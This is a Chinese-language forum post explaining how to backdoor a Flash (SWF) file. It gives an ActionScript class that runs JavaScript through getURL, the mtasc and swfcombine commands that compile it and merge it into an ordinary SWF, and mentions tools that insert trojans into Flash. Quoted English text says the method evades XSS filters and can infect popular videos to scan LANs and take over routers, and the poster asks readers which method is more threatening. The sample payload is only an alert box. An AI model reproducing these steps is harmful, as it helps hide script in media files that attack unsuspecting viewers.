先将
class Backdoor {
function Backdoor() {
}
static function main(mc) {
getURL("javascript:alert(''''''''hello from backdoor'''''''')");
}
}
作为初始脚本，写入记事本，保存为backdoor.as，然后用软件将其编译为backdoor.swf文档。
将事先准备好的正常的一段flash用合并器将其和backdoor.swf结合生成含有此脚本的swf文档。
c:Mtascmtasc.exe -swf backdoor.swf -main -header 500:365:24 backdoor.as
c:Swftoolsswfcombine.exe -o 1_backdoored.swf -T backdoor.swf 1.swf
这样执行1_backdoored.swf 。测试了一下，会闪过一个新打开的IE窗口，闪过弹出的对话框，但是速度很快。
国内的我看了下用工具直接插入木马
比如臭要饭的Icode to SWF Flash插马器，类似的直接插入工具很多，这是两种不同的方法，
外国的方法提出优势如下，原文：
First of all, wrapping your malicious code inside flash files will bypass all XSS filtering systems, simply becouse they don’
t understand how to read SWF files not to mention that even if
they know how to do that, it would be highly inefficient
approach.
The second thing is that attackers are able to infect popular video, audio and interactive material and spread it on the web.
This approach can be quite easily defined as viral infection.
The next time you visit youtube.com or video.google.com beware
that what you see might not be what you get. Sneeky JavaScript
code can scan your internal LAN, hack into your WIFI router and
enable the admin interface on the Internet side so attackers
have direct access to you, your personal details and your bank
account numbers.
I don’t want to cover DDOS attacks because it is getting scary.
想请大家探讨一下哪种方法效果更好、更有威胁性些。原文出处：
http://www.gnucitizen.org/blog/backdooring-flash-objects/
软件下载地址：
http://www.swftools.org/download.html 或本站下载
Windows Version (Binaries): swftools-0.7.0.exe 安装后目录下有swfcombine.exe,cmd下使用
